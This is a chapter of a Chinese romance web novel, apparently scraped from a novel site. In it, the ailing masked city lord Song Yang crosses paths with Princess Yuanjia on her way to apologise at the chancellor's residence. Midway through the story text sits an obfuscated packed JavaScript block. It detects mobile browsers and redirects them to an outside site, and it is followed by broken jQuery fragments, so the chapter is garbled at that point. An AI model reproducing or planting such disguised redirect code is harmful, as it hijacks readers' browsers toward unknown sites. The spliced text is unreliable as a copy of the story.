13. 登府

作品:《她的替身驸马

    在一声声痛苦撕心的呼唤声中,长青终于推门而入:“大人!”


    当见到挣扎在地宋阳,以及窗外噼啪做响的烟花时,长青立刻意识到事态的严重性。


    他迅速合上窗,拿出一个瓷瓶,倒出一颗药丸,喂给宋阳。


    良久,几近失焦的凤眸逐渐恢复了些许光亮,眼中的视野一片清明。


    窗外的烟花声刚好停了。


    宋阳被长青放置回榻上,尽管吃了药,身上还在细密的发抖,像是一朵刚刚历经风雨的,垂败的花。


    长青道,“军师说,这瓶药务必三日吃一次,不能间断,大人,你三日前没有吃药?”


    宋阳不说话,无声默认着。


    “不吃药,你的五感不再会被压制,皇都与军中不同,这次是烟花,下次或是其他的声音,大人恐怕……难以消受。”


    “我只是想知道,如果没有药,我会如何。”顿了顿,宋阳再次开口,咬牙道,“有了这药,它永远都是我的弱点。”


    长青道:“大人,军师叮嘱过的,三日一服,不能间断。”


    塌上的青年眼敛微垂,长青将瓷瓶交给宋阳,半晌,宋阳才答道:“知道了,我会按时吃药。”


    ——


    自从外出建府,元嘉一刻都不曾安息过,明明已经被赶出皇宫,过上逍遥日子。


    结果今日不是被叫回皇宫,就是去酒楼打下手,以及……去宰相府,给许聘婷赔礼道歉。


    为了许柔贞不被许相刁难,元嘉没有说出荷塘一事是为了帮许柔贞,而是一味揽到自己的身上。


    只因为她们是朋友。


    这世上的朋友、夫妻,是以真心换真心,若觉得对方的真心太过沉重,即便是说出来,也不枉费一场相识,一场情义。


    道理再简单不过了。


    虽不知道,这样的友谊能持续多久,但即是朋友,元嘉愿意赤诚付出。


    ……


    去宰相府的时候,元嘉没有坐马车,选择与早月步行。


    元嘉说,许宰相又未说何时去,拖延到半夜三更也是合情合理的,早月表示赞同。


    小公主今日穿了一身扎眼的桃粉色,发髻轻盈可爱,尽显少女气息,为了避免被百姓认出来,她将面纱向上提了提。


    街边的一家馄饨铺,坐着两名百姓,二人桌前的馄饨还在冒着蒸腾的热气,此刻他们正高谈阔论,毫不避讳地讨论着:


    “听说了吗?元嘉公主要去羌国和亲了!”


    摊主的大勺在铁锅里搅拌,饱满的小馄饨随着白汤在锅中旋转:“我当是什么事儿,全皇都哪个不都知道她要去和亲了?可不光你一人知晓得嘞。”


    “到底是元庆皇帝唯一的宝贝疙瘩,就这样送去大漠和亲,元庆皇帝还不疼了心肝?”


    又有人论道:“疼心肝又能如何?元庆帝驾崩这么多年,皇后娘娘又嫁给如今的陛下,没人撑腰,到了大漠那地方,元嘉公主定是回不来了。”


    ……


    这些话被周围的百姓听得听出,也尽数落入了正主的耳朵里。


    早月看了一眼元嘉,心想这些百姓在这里议论公主,公主会发怒。


    可元嘉却像是听见一个寻常的事,大大方方的经过,大大方方的离开。


    “公主真的要去和亲吗?”早月担忧道,“去大漠,奴婢自是能住的惯,但公主不一样,后半生不能留在那种地方。”


    元嘉停下脚步,一脸骄傲地看向早月:“谁说本公主答应了?”


    “公主昨日不是和皇后娘娘与羌王后说愿意前往羌国去和亲吗?”


    “本公主是答应了。”元嘉抱着胳膊道,“本公主也说,王子有三个,本公主只有一个,总不能都嫁。”


    昨日,元嘉不止提出愿意去和亲,她也提出比武和亲一事,说自己不喜欢像个珍宝阁的宝物一样,被挑选来挑选去。


    三位王子比武,赢者自是强者,才配娶开国公主,卫皇后细细一想,这个约定并不过分,何况到下月初三仍有一些时日,羌王后也表示答应。


    早月听得厚二丈摸不到头脑,心想比武无论是谁输谁赢,不都要去和亲吗?


    元嘉拍了拍她的肩膀,并未解释其他的,脚步欢快地往前走,哪知没走几步,高大俊逸的青阳从前方的客栈中走了出来。


    人流攒动的长街,宋阳与元嘉一样遮着脸,只不过不同的是,她带着面纱,而他带着面具。


    阳光倾洒下来,鎏金面具泛着光泽,挡住了那双极好看的眉眼,宋阳刚出客栈,恰好转头,对上少女投射而来的视线。


    天生漂亮的人,无论怎样都是漂亮的。


    即便带着面具不知真容,青年高大挺拔的身形,外加周身散发的气质,女子们仍然能够被一眼吸引过去。


    他们明明没有交集,甚至因为许聘婷的关系,连没有交集的陌生人都不上。


    偏偏每一次,都会有一种奇怪的巧合和感觉,只要一见到宋阳,元嘉就止不住想和他斗嘴吵架。


    就好像他们本来就应该吵架一样,可事实上,他们相识才不会数日。


    以前,她觉得大概是因为酒楼初建,一时之间还无法让她回到从前做公主的奢侈日子。


    所以……


    打心眼里……仇富吧。


    而刚才,当元嘉看到戴上面具时的宋阳,犹如茅塞顿开,她所有的疑问,似乎都得到了一个确切的答案。


    见她愣愣地盯着他,宋阳意识到了什么,旋即再次行礼:“微臣宋阳,见过公主。”


    元嘉走上前,她微微仰头,鬼使神差地盯着面具下的那双眼睛,歪了歪脑袋。


    就这样,她盯着他很久很久。


    “宋城主。”元嘉的话轻飘飘的,“你这张面具,甚是好看。”


    这是他们相遇以来,她第一次夸赞宋阳,没有夸他漂亮,而是他的面具漂亮。


    但明明,他人不知道比面具好看了多少。


    宋阳的瞳孔轻微颤动了一下,打心里不想与她有任何纠缠,拱手行礼道:“公主来找臣,只是夸臣的面具漂亮,仅此而已吗?”


    “宋城主,你真奇怪。”元嘉歪了歪脑袋,一脸疑惑地凑近,像是要把他看穿了一样,“喜欢称赞,是人之常情,宋城主不喜欢称赞吗?”


    “我不喜欢……”顿了顿,宋阳的脸骤然冷了几分,“也不喜欢你。”


    明目张胆的被人讨厌,元嘉的脸上并未有任何的失望之色,她全然无所谓道:“本公主又不是你丰饶城里的黄金,做不到人人都喜欢。”


    宋阳看着她,继续说:“很多人都喜欢你,你也不在意?”


    “奥。”她听进去了,又像是没听进去,“自己在意自己不就好了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625695|172346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青年瞳孔一怔,片刻后恢复平静:“……公主随心顺意就好,告辞。”


    宋阳欲要转身离去,可又像是想到了什么,又侧过身,冷冷地留下一句:“公主还是想好,该如何向许二小姐赔礼道歉吧,许宰相不满公主已久,许二小姐亦是如此,荷塘一事令公主栽在许相的手里,如果我是他,我不会放过这样大好的机会。”


    他的意思简单明了,是一会儿元嘉到了宰相府,处境断然不会好。


    不过元嘉不怕,天底下没有她怕的人,怕的事。


    宋阳与长青的身影逐渐远去,元嘉没有为难他,站在原地竟是看了许久许久,直到那清俊高大的身影于人群之中彻底消失。


    “早月。”元嘉喃喃道,“本公主刚才,发现了一件不得了的事。”


    早月问:“事?什么事?”


    “你说,死人能复生吗?如果不能复生,死去的人会有来世吗?会有一个与他很像的人吗?”


    “这……”突如其来的问题也问倒了早月,“公主,死人哪能复生啊。”


    “可是,宋阳好像一个人啊,很像很像。”


    “像谁?”早月先是一问,而后吃惊地捂住嘴巴,“公主,你是说……!?”


    元嘉心有疑惑:“早月,你不觉得宋阳很像他吗?像宋麟生。”


    “啊?”早月张了张嘴巴,忽然笑出眼泪来,“公主,你……你莫要让早月笑了,他们两个虽然都姓宋,可这差得不是一星半点,宋城主生得那样好看,可是那个反贼……”


    元嘉捏着下巴,陷入思考。


    两个人在一处摊贩前两个两串糖葫芦,元嘉一根,早月一根,就这样悠哉悠哉的往前走,全然不像是去宰相府赔礼道歉的。


    宋阳用面具遮挡的,是女子们都为之倾倒的貌美,而宋麟生用面具遮挡的,是烧伤,是人人厌恶的疤痕。


    这两个人,分明是一个天生一个地下,处处都不同。


    可却在他戴上面具时,给了元嘉一种强烈的,极为相同的感觉。


    ——


    许相府。


    正厅之中的许宰相父女已经等了整整一个时辰,桌上的茶凉了又换,换了又凉,还是没有等到元嘉公主登门。


    许聘婷终于忍不住,一再向父亲倾诉此事,却不知为何,一向不喜元嘉的许宰相,这次竟一言不发,什么都没说。


    “父亲,此事你定要禀明皇后娘娘。”


    “好了。”许宰相竟是宽慰道,“此事,待明日进宫,为父自会禀明的。”


    许聘婷奋而坐下,继而是潺潺的水流声,许宰相已经提起茶壶,为她满上茶。


    许聘婷也只是看了那茶一眼,说道:“父亲,女儿已经没有心情喝茶了,元嘉何时来府上?!难道就这样一直等下去吗!”


    她不想等,多等一分一秒,便觉得抓心挠肝,如坐针毡,有千万只蚂蚁在啃噬心脏一般。


    结果,许聘婷好不容易静下心来,却猛地发现了一件极为不寻常的事。


    按理说,三年前秦紫玉手镯一事,可笑的是,元嘉一个开国公主,竟然不惜一切为许柔贞出头。


    更可笑,她那大姐姐许柔贞,不过是庶出之身,根本不配与开国公主做朋友。


    许柔贞呢?


    她们不是极为交好吗?元嘉出了这么大的事,今日怎么不见许柔贞的身影?